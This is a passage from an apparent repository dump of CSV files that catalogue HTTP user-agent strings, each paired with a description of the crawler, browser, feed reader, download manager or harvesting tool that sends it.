Validator\nMiscellaneous,WDG CSS Validator (1.2.2),CSSCheck/1.2.2\nMiscellaneous,WDG (X)HTML Validator (1.6.2),WDG_Validator/1.6.2\nMiscellaneous,Facebook Scraper 1.0,facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)\nMiscellaneous,Grub-Client,grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)\nMiscellaneous,iTunes 4.2 (OS X 10.2 PPC),iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)\nMiscellaneous,MS URL Control,Microsoft URL Control - 6.00.8862\nMiscellaneous,Roku DVP-4.1,Roku/DVP-4.1 (024.01E01250A)\nMiscellaneous,Smart TV - Chrome 25 - Linux armv71,\"Mozilla/5.0 (SMART-TV; X11; Linux armv7l) AppleWebkit/537.42 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.42\"\nMiscellaneous,winHTTP,SearchExpress\nMiscellaneous,Facebook Scraper 1.0,facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)\nMiscellaneous,Grub-Client,grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)\nMiscellaneous,iTunes 4.2 (OS X 10.2 PPC),iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)\nMiscellaneous,MS URL Control,Microsoft URL Control - 6.00.8862\nMiscellaneous,Roku DVP-4.1,Roku/DVP-4.1 (024.01E01250A)\nMiscellaneous,Smart TV - Chrome 25 - Linux armv71,\"Mozilla/5.0 (SMART-TV; X11; Linux armv7l) AppleWebkit/537.42 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.42\"\nMiscellaneous,winHTTP,SearchExpress\n"
  },
  {
    "path": "User Agents/csv/ua_org_allagents.csv",
    "content": "description,ua\nSync2It bookmark management & clustering engine,!Susie (http://www.sync2it.com/susie)\nUnCHAOS search robot,<a href='http://www.unchaos.com/'> UnChaos </a> From Chaos To Order Hybrid Web Search Engine.(vadim_gonchar@unchaos.com)\nUnCHAOS search robot,<a href='http://www.unchaos.com/'> UnChaos Bot Hybrid Web Search Engine. </a> (vadim_gonchar@unchaos.com)\nUnCHAOS search robot,<b> UnChaosBot From Chaos To Order UnChaos Hybrid Web Search Engine at www.unchaos.com </b> (info@unchaos.com)\nSygol Search (Italy) robot,<http://www.sygol.com/> http://www.sygol.com\nSearchEngineWorld's robots.txt validator,( Robots.txt Validator http://www.searchengineworld.com/cgi-bin/robotcheck.cgi )\nDreamCast DreamPassport browser,(DreamPassport/3.0; isao/MyDiGiRabi)\nPrivoxy web proxy,(Privoxy/1.0)\nUnknown Yahoo robot,*/Nutch-0.9-dev\nSitiDi.net search (Germany) robot,+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)\nDie Kraehe Meta-Search-Engine (Germany) link checking,-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de\n123spider.de (Germany) web directory link checking,\"123spider-Bot (Version: 1.02, powered by www.123spider.de\"\n192.com - UK web directory,192.comAgent\n1st ZipCommander Net - IE based browser,1st ZipCommander (Net) - http://www.zipcommander.com/\n2Bone online link checker,2Bone_LinkChecker/1.0 libwww-perl/5.64\n4Anything robot,4anything.com LinkChecker v2.0\nUnknown guestbook spamming or harvesting tool from diff. IPs,8484 Boston Project v 1.0\nneofonie search robot Germany,:robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )\nA-Online.at robot - now Jet2Web Search,A-Online Search\nA1 Keyword Research - search engine and keyword optimization software,A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27\nMiggiBot website crawler engine - A1 Sitemap Generator,A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24\nAardvark web crawler for Sun's Blog recommendations,aardvark-crawler\nAbacho / Crawler.de robot,AbachoBOT\nAbacho / Crawler.de robot,AbachoBOT (Mozilla compatible)\nABCdatos - Castilian program & tutorial directory,ABCdatos BotLink/5.xx.xxx#BBL\nAberja Hybridsuchmaschine (Germany) link checking,Aberja Checkomat\nNameprotect copyright search robot (24.177.134.x),abot/0.1 (abot; http://www.abot.com; abot@abot.com)\nAbout robot,About/0.1libwww-perl/5.47\nAccela Technology RSS feed crawler,Accelatech RSSCrawler/0.4\nAccoona Search robot,accoona\nAccoona Search robot,Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)\nAccoona Search robot,Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)\nAce Explorer - IE based browser,Ace Explorer\nAckerm search robot,Ack (http://www.ackerm.com/)\nAcoi picture finder robot,AcoiRobot\nAcoon.de search (Germany) robot,Acoon Robot v1.50.001\nAcoon.de search (Germany) robot,Acoon Robot v1.52 (http://www.acoon.de)\nAcoon.de search (Germany) robot,Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)\nAcoon.de search (Germany) robot,Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)\nAcorn Search Project,Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)\nLibMaster.com Active Bookmark HTML page creator,ActiveBookmark 1.x\nActiveworlds 3D homepage browser,Activeworlds\nActiveworlds 3D homepage browser,ActiveWorlds/3.xx (xxx)\nAd Muncher - banner killer,Ad Muncher v4.xx.x\nAd Muncher - banner killer,Ad Muncher v4x Build xxxxx\nwebsite directory adaxas link checking,Adaxas Spider (http://www.adaxas.net/)\nAvant Browser - IE based browser,Advanced Browser (http://www.avantbrowser.com)\nAesop robot,AESOP_com_SpiderMan\nAgada search (Germany) robot,agadine/1.x.x (+http://www.agada.de)\nSharewarePlaza link checking,Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)\nLinkomatic submission verifier,AgentName/0.1 libwww-perl/5.48\n21seek.com (China) robot (218.17.90.xxx),AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)\nAideRss - Postrank RSS and Blog filtering,AideRSS/1.0 (aiderss.com)\nNameprotect copyright search robot (24.177.134.x),aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)\nNameprotect copyright search robot (24.177.134.x),aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)\nAkregator news feed reader for KDE,Akregator/1.2.9; librss/remnants\nAladin robot,Aladin/3.324\nPhone.com UP.Browser for mobiles on Alcatel cellphone,Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2\nAleksika Danmark - Search engine optimization spider,Aleksika Spider/1.0 (+http://www.aleksika.com/)\nAlertinfo - French version of Feedreader 3.xx ,AlertInfo 2.0 (Powered by Newsbrain)\nVestris robot,AlkalineBOT/1.3\nVestris robot,AlkalineBOT/1.4 (1.4.0326.0 RTM)\nAllesklar.de robot,Allesklar/0.1 libwww-perl/5.46\nAlligator download manager,Alligator 1.31 (www.nearsoftware.com)\nUnknown robot from Allrati.com,Allrati/1.1 (+)\nAltavista robot,AltaVista Intranet V2.0 AVS EVAL search@freeit.com\nAltavista robot,AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net\nAltavista robot,AltaVista Intranet V2.0 evreka.com crawler@evreka.com\nAltavista robot,AltaVista V2.0B crawler@evreka.com\nAmaya - W3C's Editor/Browser,amaya/x.xx libwww/x.x.x\nAmfibi Search robot,AmfibiBOT\nAmfibi Search robot,Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)\nAmfibi Search robot,Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)\namibot - Amidalla search engine robot (62.241.33.xx),amibot\nAWeb Amiga browser,Amiga-AWeb/3.4.167SE\nVoyager - Amiga browser,AmigaVoyager/3.4.4 (MorphOS/PPC native)\nAmiga Miami TCP Stack,AmiTCP Miami (AmigaOS 2.04)\nNF embedded browser on Amois Skypephone,Amoi 8512/R21.0 NF-Browser/3.3\nAmazon.com robot for checking their affiliate sites,amzn_assoc\nAnnomille Italian historical oriented robot,AnnoMille spider 0.1 alpha - http://www.annomille.it\nannotate Google - Firefox extension for annotating Google search results,annotate_google; http://ponderer.org/download/annotate_google.user.js\nMegaproxy user,Anonymized by ProxyOS: http://www.megaproxy.com\nfaked user agent,Anonymizer/1.1\nAnswerBus natural language search using COLLATE technology,AnswerBus (http://www.answerbus.com/)\nAnswerChase search tool,AnswerChase PROve x.0\nAnswerChase search tool,AnswerChase x.0\nANT Fresco Browser,ANTFresco/x.xx\nAntibot (discontinued) robot,antibot-V1.1.5/i586-linux-2.2\nAnzwers (Yahoo) Australia robot,AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)\nApexoo Search spider,Apexoo Spider 1.x\nJavaOS app. for SEGA Saturn Internet and Sanyo Internet-TV,Aplix HTTP/1.0.1\nJavaOS app. for Sanyo Internet-TV,Aplix_SANYO_browser/1.x (Japanese)\nJavaOS app. for SEGA Saturn Internet,Aplix_SEGASATURN_browser/1.x (Japanese)\nAport robot,Aport\nWalhello Internet Search robot,appie 1.1 (www.walhello.com)\nCoreMedia player on Apple iPhone,Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102\nPubSub - Mac OS X utility for managing RSS/Atom subscriptions via the PubSub framework,Apple-PubSub/65.1.1\nAraby search - Arabia,ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)\nCovac Arachnid Web Crawler,ArachBot\nEuroseek spider,Arachnoidea (arachnoidea@euroseek.com)\nAmazon.com robot for checking their affiliate sites,aranhabot\nExcite spider,ArchitextSpider\nHeritrix - The Internet Archive's open-source crawler (207.241.225.2xx),archive.org_bot\nSimpy Bookmarklet crawler (69.55.233.xx),Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)\nArikus inContext search engine software,Arikus_Spider\nTomba project: the Portuguese web archive,Arquivo-web-crawler  (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)\nAsaha search robot (Turkey),ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)\nASAHINA Antenna information detecting agent,Asahina-Antenna/1.x\nASAHINA Antenna information detecting agent,Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x)\nAsk 24x Info robot,ask.24x.info\nAsk About Oil - Petroleum related search (24.227.212.xxx) using Nutch,AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com)\naskEd! / Inferret search (Japan) robot using Nutch,asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)\nASPSeek search engine software -Yahoo-Inc. / Telecom Canada robot ,ASPSeek/1.2.5\nSwsoft.net robot using Aspseek,ASPseek/1.2.9d\nASPSeek search engine software,ASPSeek/1.2.x\nASPSeek search engine software,ASPSeek/1.2.xa\nASPSeek search engine software,ASPseek/1.2.xx\nASPSeek search engine software,ASPSeek/1.2.xxpre\nAssociative Sort robot,ASSORT/0.10\nSingingfish media spider (64.12.186.2xx) via AOL search,asterias/2.0\nAtlocal local business search robot,AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)\nAtomic Email Hunter email extracing and harvesting,Atomic_Email_Hunter/4.0\nAtomz robot,Atomz/1.0\natSpider (ceased) email harvester / spambot,atSpider/1.0\nAttentio social media monitoring and analysing ,Attentio/Nutch-0.9-dev (Attentio's beta blog crawler; www.attentio.com; info@attentio.com)\nSamsung SPH-A660 phone with Sprint software,AU-MIC/2.0 MMP/2.0\nAudiovox SMT5600 (AT&T) Smartphone mobile phone browser,AUDIOVOX-SMT5600\nAugurnet Swiss (was www.augurnet.ch) search robot,augurfind\nAugurnet Swiss (was www.augurnet.ch) search robot,augurnfind V-1.x\nAuto Email Pro Email harvester,autoemailspider\nLinkscan tool from Elsop,autohttp\nAutowebdir - The Automatically Generated Web Directory,autowebdir 1.1 (www.autowebdir.com)\nAltavista robot ??,AV Fetch 1.0\nAvant Browser - IE based browser,Avant Browser (http://www.avantbrowser.com)\nNational Research Council Canada robot,AVSearch-1.0(peter.turney@nrc.ca)\nUnknown robot from 205.203.108.xx (telerate.com),AVSearch-2.0-fusionIdx-14-CompetitorWebSites\nAltavista robot,AVSearch-3.0(AltaVista/AVC)\nAWeb Amiga browser,AWeb\nAxada search Germany robot,axadine/ (Axadine Crawler; http://www.axada.de/; )\nAxmo search robot,AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.\nAzureus Java BitTorrent Client,Azureus 2.x.x.x\nBabaloo search robot (Slovenia),BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)\nBaBoom Web Portal (ODP) robot (66.98.254.xx),BaboomBot/1.x.x (+http://www.baboom.us)\nBackStreet Browser - Offline browser / website downloader,BackStreet Browser 3.x\nBaidu search (Japan) image crawler,BaiduImagespider+(+http://www.baidu.jp/search/s308.html)\nBaidu spidering engine - used by diff. IPs,BaiDuSpider\nBaidu spidering engine - used by diff. IPs,Baiduspider+(+http://help.baidu.jp/system/05.html)\nBaidu spidering engine - used by diff. IPs,Baiduspider+(+http://www.baidu.com/search/spider.htm)\nBaidu search (Japan) crawler,Baiduspider+(+http://www.baidu.com/search/spider_jp.html)\nBalihoo - Vertical search engine crawler (beta),Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)\nProject BanBots Perl script robot,BanBots/1.2 (spider@banbots.com)\nBarca Pro email & PIM software,Barca/2.0.xxxx\nBarca Pro email & PIM software,BarcaPro/1.4.xxxx\nBarrahome crawler,BarraHomeCrawler (albertof@barrahome.org)\nUnknown user agent from Microsoft,bCentral Billing Post-Process\nBusiness.com robot,bdcindexer_2.6.2 (research@bdc)\nBrandimensions Brand Protection robot,BDFetch\nBdncentral Sitesearch robot,BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686)\nbeammachine web directory (Germany) link checking,BeamMachine/0.5 (dead link remover of www.beammachine.net)\nBeauty robot for Cosmoty - German beauty and wellness search,beautybot/1.0 (+http://www.uchoose.de/crawler/beautybot/)\nA Passion for Jazz music related search robot,BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html )\nLinkcheckerBeepware (site is down) web directory link checking,BeebwareDirectory/v0.01\nBig Brother link checking tool,Big Brother (http://pauillac.inria.fr/~fpottier/)\nGoonGee.com link popularity checking,Big Fish v1.0\nBB4 network monitoring,BigBrother/1.6e\nBigClique Search robot,BigCliqueBOT/1.03-dev (bigclicbot; http://www.bigclique.com; bot@bigclique.com)\nBiglotron search (France) robot,BIGLOTRON (Beta 2;GNU/Linux)\nBigsearch.ca search robot,Bigsearch.ca/Nutch-x.x-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)\nBilbo - web frontend for the Nessus Security Scanner,Bilbo/2.3b-UNIX\nBilgi.com (Beta) search robot - Turkey,BilgiBetaBot/0.8-dev (bilgi.com (Beta) ; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nBilgi.com (Beta) search robot - Turkey,BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com)\nCarnegie Mellon School robot/link checking ?,billbot wjj@cs.cmu.edu\nBitacle Blog Search Archive robot,Bitacle bot/1.1\nBitacle Blog Search Archive robot,Bitacle Robot (V:1.0;) (http://www.bitacle.com)\nBiyubi Navigator - Mexican browser for Fenix OS,Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx)\nBlackberry Wireless Internet browser via Google WAP Proxy,BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)\nFS Consulting (was www.fsconsult.net) Black Widow web crawler,BlackWidow\nBlackWidow web site scanner / downloading tool,BlackWidow\nBlaiz Enterprises RawGrunt search,Blaiz-Bee/1.0 (+http://www.blaiz.net)\nBlaiz Enterprises RawGrunt search,Blaiz-Bee/2.00.8222 (BE Internet Search Engine http://www.rawgrunt.com)\nBlaiz Enterprises RawGrunt search,Blaiz-Bee/2.00.xxxx (+http://www.blaiz.net)\nBlitzsuche Germany robot,BlitzBOT@tricus.net\nBlitzsuche Germany robot,BlitzBOT@tricus.net (Mozilla compatible)\nBlockNote web page editor,BlockNote.Net\nblogdex robot from MIT.edu,BlogBot/1.x\nBlogBridge RSS reader,BlogBridge 2.13 (http://www.blogbridge.com/)\nBloglines article search,Bloglines Title Fetch/1.0 (http://www.bloglines.com)\nBloglines graphics crawler,Bloglines-Images/0.1 (http://www.bloglines.com)\nBloglines news crawler,Bloglines/3.1 (http://www.bloglines.com)\nFeedMap / BlogMap geo coding service,BlogMap (http://www.feedmap.net)\nIntelliseek's BlogPulse blog search,Blogpulse (info@blogpulse.com)\nIntelliseek's BlogPulse blog search,BlogPulseLive (support@blogpulse.com)\nIceRocket Web search robot,BlogSearch/1.x +http://www.icerocket.com/\nArt of Computing blog search project,blogsearchbot-pumpkin-3\nBlogsNow realtime link tracker robot,\"BlogsNowBot, V 2.01 (+http://www.blogsnow.com/)\"\nBlogVipe news and Blog crawler (Netherlands),BlogVibeBot-v1.1 (spider@blogvibe.nl)\nblogWatcher robot from Okumura Group Tokyo (131.112.182.xxx),blogWatcher_Spider/0.1 (http://www.lr.pi.titech.ac.jp/blogWatcher/)\nIceRocket Web search robot,BlogzIce/1.0 (+http://icerocket.com; rhodes@icerocket.com)\nIceRocket Web search robot,BlogzIce/1.0 +http://www.icerocket.com/\nBlooby search (beta) robot,BloobyBot\nBalihoo - Search Engine for Advertising Media,Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)\nBluefish HTML-editor for Linux,bluefish 0.6 HTML editor\nPart of ButtMan remote access tool,BMCLIENT\nBookmark Express bookmark manager,BMLAUNCHER\nBobby web accessibility desktop testing tool,Bobby/4.0.x RPT-HTTPClient/0.3-3E\nBoitho search (Norway) robot via 80.202.212.xx / 80.80.111.xx,boitho.com-dc/0.xx (http://www.boitho.com/dcbot.html)\nBoitho search (Norway) robot via 80.202.212.xx / 80.80.111.xx,boitho.com-robot/1.x\nBoitho search (Norway) robot via 80.202.212.xx / 80.80.111.xx,boitho.com-robot/1.x (http://www.boitho.com/bot.html)\nBookdog - Mac bookmark manager,Bookdog/x.x\nBookmark Buddy - favorite bookmark manager ,Bookmark Buddy bookmark checker (http://www.bookmarkbuddy.net/)\nFavourites managing program,Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/]\nFavourites managing program,Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/] (Version 2.0beta)\nBookmark Base bookmark manager,BookmarkBase(2/;http://bookmarkbase.com)\ncybercity.fr user robot / faked user agent ?,Bot mailto:craftbot@yahoo.com\nBD-Brandprotect copyright infringement crawler,BPImageWalker/2.0 (www.bdbrandprotect.com)\nBravoBrian bSTOP parental control,BravoBrian bstop.bravobrian.it\nRobot for BravoBrian bSTOP,BravoBrian SpiderEngine MarcoPolo\nBrightCloud web filtering for classifying websites,BrightCrawler (http://www.brightcloud.com/brightcrawler.asp)\nWebarchive Project Bruinbot crawler,BruinBot (+http://webarchive.cs.ucla.edu/bruinbot.html) \nInktomi (Hotbot-Lycos NBCi) robot,BSDSeek/1.0\nBravoBrian bSTOP parental control,BStop.BravoBrian.it Agent Detector\nBitTorrent Search Engine btbot robot,BTbot/0.x (+http://www.btbot.com/btbot.html)\nµTorrent BitTorrent Client,BTWebClient/180B(9704)\nBuildCMS crawler - market monitoring project of BuildCMS,BuildCMS crawler (http://www.buildcms.com/crawler)\nBulkfeeds: RSS directory link checking,Bulkfeeds/r1752 (http://bulkfeeds.net/)\nBullsEye/Intelliseek robot,BullsEye\nRelevare Portal software robot,bumblebee@relevare.com\nMicrosoft server information robot (see link),BunnySlippers\nBurstFind search crawler (64.34.172.xx),BurstFindCrawler/1.1 (crawler.burstfind.com; http://crawler.burstfind.com; crawler@burstfind.com)\nBuscaplus (Spain) robot,Buscaplus Robi/1.0 (http://www.buscaplus.com/robi/)\nLogitech Desktop Managers (LDM) Backweb (BW) update check,BW-C-2.0\nBasic Web Hacking 3 fake user-agent from Hellbound Hackers challenges,bwh3_user_agent\nAmfibi Search robot,Cabot/Nutch-0.9 (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)\nAmfibi Search robot,Cabot/Nutch-1.0-dev (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)\nEvolution integrated mail solution Camel TCP stream class,CamelHttpStream/1.0\nSome user agent,Cancer Information and Support International;\nCosmix project crawler (204.14.48.x / 38.113.234.xxx),carleson/1.0\nCarnegie Mellon University WebBOT,Carnegie_Mellon_University_Research_WebBOT-->PLEASE READ-->http://www.andrew.cmu.edu/~brgordon/webbot/index.html http://www.andrew.cmu.edu/~brgordon/webbot/index.html\nCarnegie Mellon University WebBOT,Carnegie_Mellon_University_WebCrawler http://www.andrew.cmu.edu/~brgordon/webbot/index.html\nCatall.de search & web directory (Germany),Catall Spider\nUIUCs Cazoodle search based on MetaQuerier,CazoodleBot/CazoodleBot-0.1 (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com)\nCommonCrawl Foundation search crawler,CCBot/1.0 (+http://www.commoncrawl.org/bot.html)\nEmpyreum Ccubee (Czech) search engine solution,ccubee/x.x\nTimewe mobile browser (WAP) simulator (Japan),CDR/1.7.1 Simulator/0.7(+http://timewe.net) Profile/MIDP-1.0 Configuration/CLDC-1.0\nCisco Content Engine,CE-Preload\nNordic semantic search engine,CentiverseBot\nNordic semantic search engine,CentiverseBot - investigator\nNordic semantic search engine,CentiverseBot/3.0 (http://www.centiverse-project.net)\nFloortransformed.com robot (link ckecking ??),Ceramic Tile Installation Guide (http://www.floorstransformed.com)\nCERN Line Mode Browser,CERN-LineMode/2.15\nCosmix project crawler (204.14.48.x / 38.113.234.xxx),cfetch/1.0\nMaxOS X CoreFoundation CFNetwork API,CFNetwork/x.x\ncg-eye CGI checker,cg-eye interactive\nCharon Amiga download manager,Charon/1.x (Amiga)\nChat Catcher blog monitoring robot,Chat Catcher/1.0\nCheckbot link validation,Checkbot/1.xx LWP/5.xx\nChecklinks - Perl link checker,CheckLinks/1.x.x\nNTL user agent,CheckUrl\nCheckWeb link validation,CheckWeb\nChilkat HTTP component user-agent,Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)\nUnknown spam bot from telekom.com.my (218.111.83.xxx),China Local Browse 2.6\nChitika Inc. Blog advertising,Chitika ContentHit 1.0\nChristcentral.com Christcrawler (was www.christcrawler.com),ChristCRAWLER 2.0\nCHttpClient - C++ class using WinInet,CHttpClient by Open Text Corporation\nCipinetBot -Cipinet Search Engine Web Crawler,CipinetBot (http://www.cipinet.com/bot.html)\nCityreview regional search (Germany) link checking,Cityreview Robot (+http://www.cityreview.org/crawler/)\nCommision Junction link checking spider,CJ Spider/\nCJB Net anonymous socks proxy service (216.194.70.x),CJB.NET Proxy\nClaria (ex Gator) SearchScout robot (64.152.73.xx),ClariaBot/1.0\nClaymont Search robot,Claymont.com\nSeznam Search (Czech Republic) robot,CloakDetect/0.9 (+http://fulltext.seznam.cz/)\nClush clustered search robot,Clushbot/2.x (+http://www.clush.com/bot.html)\nClush clustered search robot,Clushbot/3.x-BinaryFury (+http://www.clush.com/bot.html)\nClush clustered search robot,Clushbot/3.xx-Ajax (+http://www.clush.com/bot.html)\nClush clustered search robot,Clushbot/3.xx-Hector (+http://www.clush.com/bot.html)\nClush clustered search robot,Clushbot/3.xx-Peleus (+http://www.clush.com/bot.html)\nCOAST Webmaster - Web management and maintenance software,COAST WebMaster Pro/4.x.x.xx (Windows NT)\nProposed Content-Based Image Tracking System (CoBITS) P2P crawler,CoBITSProbe\nCocoa del.icio.us (social bookmarks manager) client for Mac OS X,Cocoal.icio.us/1.0 (v36) (Mac OS X; http://www.scifihifi.com/cocoalicious)\nCogent Search Bot from Cogent Software Solutions for unknown purposes,Cogentbot/1.X (+http://www.cogentsoftwaresolutions.com/bot.html)\nCold Fusion server used by various IPs i.e.: - NetWORLD web catalogue link checking,ColdFusion\nCold Fusion server used by Bookmark Tracker - online favourites managment,ColdFusion (BookmarkTracker.com)\nWebCollage Syndicator graphics crawler/collector,collage.cgi/1.xx\nCombine harvesting & indexing robot,combine/0.0\nCombine harvesting & indexing robot,Combine/2.0 http://combine.it.lth.se/\nCombine harvesting & indexing robot,Combine/3 http://combine.it.lth.se/\nCombine harvesting & indexing robot,Combine/x.0\ncometrics Web Content Mining solution - Germany,\"cometrics-bot, http://www.cometrics.de\"\nWildsoft Germany (closed) Internet client system user-agent (was www.oskarweb.de),Commerce Browser Center\nUCLA Complex Networks Groups Complex Network Analysis,complex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~networks/crawl; nimakhaj@gmail.com)\nHungarian Academy of Sciences data mining search,Computer_and_Automation_Research_Institute_Crawler crawler@ilab.sztaki.hu\nComRite Chinese Search Engine for Oversea Web Sites (69.248.26.xx),Comrite/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nunknown,Contact\nProbably E-Mail harvesting robot - same as LMQueueBot,ContactBot/0.2\nContentSmartz e-mail harvesting tools,ContentSmartz\nInternet Explorer versions 4.x and 5 plugin content,contype\nConveras RetrievalWare Internet Spider (63.241.61.x),Convera Internet Spider V6.x\nConveras RetrievalWare Internet Spider (63.241.61.x),ConveraCrawler/0.2\nConveras RetrievalWare Internet Spider (63.241.61.x),ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl)\nConveras RetrievalWare Internet Spider (63.241.61.x),ConveraMultiMediaCrawler/0.1 (+http://www.authoritativeweb.com/crawl)\nSuchmaschine21 (Germany) robot,CoolBot\nCooliris photo and video browser,Cooliris/1.5 CFNetwork/459 Darwin/10.0.0d3\nCoral Content Distribution Network,CoralWebPrx/0.1.1x (See http://coralcdn.org/)\nXyleme SA France robot,cosmos/0.8_(robot@xyleme.com)\nXyleme SA France robot,cosmos/0.9_(robot@xyleme.com)\nCoteo.com - local French directory link checking,CoteoNutchCrawler/Nutch-0.9 (info [at] coteo [dot] com)\nCougarsearch.com robot,CougarSearch/0.x (+http://www.cougarsearch.com/faq.shtml)\nCovac Arachnid Web Crawler,Covac TexAs Arachbot\nCoverScout for iTunes - CD cover search tool,\"CoverScout%203/3.0.1 CFNetwork/339.5 Darwin/9.5.0 (i386) (iMac5,1)\"\nNaver Japan / Korea robot,Cowbot-0.1 (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)\nNaver Japan / Korea robot,Cowbot-0.1.x (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)\nConveras RetrievalWare Internet Spider,CrawlConvera0.1 (CrawlConvera@yahoo.com)\nunknown robot via Level3.net,Crawler\nCometsystems Comet Search robot via Findwhat (now Miva),Crawler (cometsearch@cometsystems.com)\nCrawler.de / Abacho robot,Crawler admin@crawler.de\nCrawler.de / Abacho robot,Crawler V 0.2.x admin@crawler.de\nAlexa crawler,crawler@alexa.com\nPinpoint WAP search robot,CrawlerBoy Pinpoint.com\nCrawlly Beta search - Germany (72.232.194.2xx),Crawllybot/0.1 (Crawllybot; +http://www.crawlly.com; crawler@crawlly.com)\nCreatice Commons using Nutch open source robot,CreativeCommons/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)\nCricket A100 cell phone browser,Cricket-A100/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0\nCroccrawler robot,CrocCrawler vx.3 [en] (http://www.croccrawler.com) (X11; I; Linux 2.0.44 i686)\nWeb mining project from CSCI 659 (computer science course) at Indiana Univerity,csci_b659/0.13\nCSE HTML Validator for Windows,CSE HTML Validator Professional (http://www.htmlvalidator.com/)\nCuam - IE based browser,Cuam Ver0.050bx\nCuasar (Spain) music / ringtone search spider,Cuasarbot/0.9b http://www.cuasar.com/spider_beta/ \nCurl file transferring tool,curl/7.10.x (i386-redhat-linux-gnu) libcurl/7.10.x OpenSSL/0.9.7a ipv6 zlib/1.1.4\nCurl file transferring tool,curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)\nCurl file transferring tool,curl/7.8 (i686-pc-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6)\nCurl file transferring tool,curl/7.9.x (win32) libcurl 7.9.x\nCurryGuide UK link check robot,CurryGuide SiteScan 1.1\nCusto web site spidering tool (link checking),Custo x.x (www.netwu.com)\nBisnisseek (was www.bisnisseek.com) robot,Custom Spider www.bisnisseek.com /1.0\nCyberdog Mac Browser (was www.cyberdog.org),Cyberdog/2.0 (Macintosh; 68k)\nCyberPatrol LLC robot for web filtering software,CyberPatrol SiteCat Webbot (http://www.cyberpatrol.com/cyberpatrolcrawler.asp)\nCyberSpyder Link Test software,CyberSpyder Link Test/2.1.12 (admin@mspennyworth.com)\nCydral image & site search spider,CydralSpider/1.x (Cydral Web Image Search; http://www.cydral.com)\nCydral image & site search spider,CydralSpider/3.0 (Cydral Image Search; http://www.cydral.com)\nDownloadaccelerator download manager,DA 3.5 (www.lidan.com)\nDownloadaccelerator download manager,DA 4.0\nDownloadaccelerator download manager,DA 4.0 (www.downloadaccelerator.com)\nDownloadaccelerator download manager,DA 5.0\nDownloadaccelerator download manager,DA 7.0\nDownload Accelerator Plus download manager,DAP x.x\nPowerTCP ActiveX control tool,Dart Communications PowerTCP\nUnknown 